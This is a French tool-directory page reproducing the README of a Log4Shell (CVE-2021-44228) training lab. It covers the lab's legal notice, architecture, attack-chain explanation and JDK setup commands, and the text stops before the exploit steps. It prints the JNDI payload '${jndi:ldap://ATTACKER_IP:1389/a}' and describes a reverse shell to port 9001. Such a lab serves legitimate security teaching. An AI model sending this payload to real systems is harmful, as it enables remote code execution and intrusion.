Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Log4Shell-CVE-2021-44228 — Laboratoire pratique pour exploiter et comprendre Log4Shell (CVE-2021-44228) en utilisant Docker, Kali Linux, Burp Suite et log4j-shell-poc. Pour l'enseignement et la formation défensive uniquement dans des environnements de laboratoire contrôlés. | Kitploit
Outils/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
Génération de PayloadsAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et Éducation
Red Teaming
Labs et Pratique
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

Laboratoire pratique pour exploiter et comprendre Log4Shell (CVE-2021-44228) en utilisant Docker, Kali Linux, Burp Suite et log4j-shell-poc. Pour l'enseignement et la formation défensive uniquement dans des environnements de laboratoire contrôlés.

Voir le dépôt
14il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploitation de Log4Shell (CVE-2021-44228) : Un laboratoire de démonstration moderne et complet

Log4Shell (CVE-2021-44228) est l'une des vulnérabilités d'exécution de code à distance les plus impactantes jamais divulguées. Elle affecte Apache Log4j 2, un framework de journalisation Java largement utilisé, et permet aux attaquants d'exécuter du code arbitraire en abusant des recherches JNDI dans les messages de journal.

Ce guide fournit un laboratoire de démonstration complet et reproductible utilisant :

  • Kali Linux (attaquant)
  • Une application vulnérable Log4j2 dockerisée
  • Le PoC public log4j-shell-poc
  • curl, Burp Suite et Netcat

Il est conçu uniquement pour l'enseignement, la recherche, la formation et la sensibilisation défensive dans des environnements contrôlés. La structure et le style suivent le même esprit que le README du laboratoire compagnon « Shellshock ».


📌 Table des matières

  1. Avis légal et éthique
  2. Aperçu général
  3. Objectifs d'apprentissage
  4. Architecture du laboratoire
  5. Prérequis
  6. Installer JDK 1.8.0_202 sur Kali
  7. Déployer l'application Log4j vulnérable (Docker)
  8. Préparer le PoC d'exploitation
  9. Configurer poc.py pour utiliser JDK 1.8.0_202
  10. Démarrer les services d'exploitation (LDAP + HTTP + Payload)
  11. Démarrer l'écouteur de reverse shell
  12. Exploiter Log4Shell via curl
  13. Exploiter Log4Shell via Burp Suite
  14. Chaîne d'attaque
  15. Contre-mesures et défense
  16. Aide-mémoire (toutes les commandes)
  17. Galerie de captures d'écran (optionnel)
  18. Références
  19. Crédits

0. Avis légal et éthique

Ce laboratoire doit uniquement être réalisé dans un environnement contrôlé où vous avez une autorisation explicite (votre propre laboratoire, des VM de classe, etc.).

  • N'attaquez pas les systèmes de production.
  • N'exécutez pas cela contre des hôtes que vous ne possédez ou n'administrez pas.
  • Utilisez ce matériel uniquement à des fins d'éducation, de recherche et de défense.

1. Aperçu général

Log4Shell (CVE-2021-44228) est une vulnérabilité RCE critique dans Apache Log4j 2.

Le problème survient parce que les versions vulnérables de Log4j2 interprètent des chaînes contrôlées par l'attaquant telles que :

${jndi:ldap://ATTACKER_IP:1389/a}

Lorsque cette chaîne est journalisée, Log4j :

  1. Effectue une recherche JNDI (par exemple via LDAP) vers un serveur contrôlé par l'attaquant.
  2. Reçoit une référence vers une classe Java malveillante.
  3. Télécharge la classe via HTTP et la charge dans la JVM.
  4. L'exécute, ce qui donne une exécution de code à distance.

Dans ce laboratoire, vous allez :

  • Exécuter une application web Log4j2 vulnérable dans un conteneur Docker.
  • Exécuter un serveur LDAP + HTTP malveillant sur Kali en utilisant log4j-shell-poc.
  • Livrer la charge utile Log4Shell via curl et via Burp Suite.
  • Capturer un reverse shell depuis le conteneur vulnérable.

2. Objectifs d'apprentissage

À la fin de ce laboratoire, vous devriez être capable de :

  1. Expliquer à un niveau élevé comment fonctionne Log4Shell et pourquoi JNDI est dangereux lorsqu'il est mal utilisé.
  2. Déployer une application Log4j2 vulnérable en utilisant Docker.
  3. Installer et configurer JDK 1.8.0_202, requis par le PoC.
  4. Exécuter un serveur LDAP malveillant et un serveur HTTP via le script PoC.
  5. Déclencher la vulnérabilité et obtenir un reverse shell.
  6. Utiliser Burp Suite pour injecter l'exploit dans un en-tête HTTP.
  7. Discuter des mesures d'atténuation réalistes et des stratégies de détection.

3. Architecture du laboratoire

Tous les composants s'exécutent sur votre laboratoire virtuel existant. Pour ce document, nous supposons :

  • La VM Kali Linux est l'attaquant.
  • Kali exécute également le conteneur Docker contenant l'application vulnérable.
ComposantRôle / DescriptionOutils / ServicesAdressage exemple
VM Kali Linux (Attaquant + Hôte)Exécute le PoC d'exploitation, serveur LDAP, serveur HTTP, écouteur Netcat, Burp SuitePython 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git192.168.1.4 (exemple IP Kali)
Application web Log4j2 vulnérableCible ; application web Spring Boot vulnérable à Log4ShellImage Docker : ghcr.io/christophetd/log4shell-vulnerable-appExposée à http://127.0.0.1:8080

Idée clé

L'attaquant injecte :

${jndi:ldap://192.168.1.4:1389/a}

dans un en-tête HTTP. L'application vulnérable le journalise en utilisant Log4j2 → effectue une recherche JNDI LDAP vers 192.168.1.4:1389 → télécharge une classe malveillante depuis http://192.168.1.4:8000 → exécute la classe, qui ouvre un reverse shell vers 192.168.1.4:9001.


4. Prérequis

Sur Kali, vous avez besoin de :

  • Docker (installé et fonctionnel).
  • Python 3 (par défaut sur Kali).
  • Netcat (nc).
  • Burp Suite (l'édition Community est suffisante).
  • Accès à Internet pour les téléchargements initiaux.
  • Familiarité de base avec Linux et HTTP.

Tout au long de ce guide, nous supposons que l'IP Kali est :

192.168.1.4

Si votre IP diffère, ajustez toutes les commandes en conséquence.


5. Installer JDK 1.8.0_202 sur Kali (Obligatoire)

Le PoC repose sur Java SE 8 Update 202 (JDK 1.8.0_202) car les versions ultérieures de Java restreignent le comportement de chargement de classes à distance utilisé par cet exploit.

Même si Kali possède déjà OpenJDK 21 (ou similaire), vous devez quand même installer 8u202 séparément.

5.1 Créer un répertoire de travail

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 Télécharger JDK 8u202 depuis le miroir HuaweiCloud

Racine du miroir :

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Télécharger l'archive tar Linux x64 (≈185 Mo) :

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # devrait être ~185M

5.3 Extraire vers /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

L'option --strip-components=1 supprime le répertoire de premier niveau de l'archive afin que les fichiers atterrissent directement sous /usr/bin/jdk1.8.0_202.

5.4 Vérifier l'installation

/usr/bin/jdk1.8.0_202/bin/java -version

Sortie attendue :

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Si vous voyez cela, JDK 1.8.0_202 est correctement installé.


6. Déployer l'application Log4j vulnérable (Docker sur Kali)

Dans un nouveau terminal sur Kali (vous pouvez rester dans ~/Log4Shell) :

Télécharger l’outil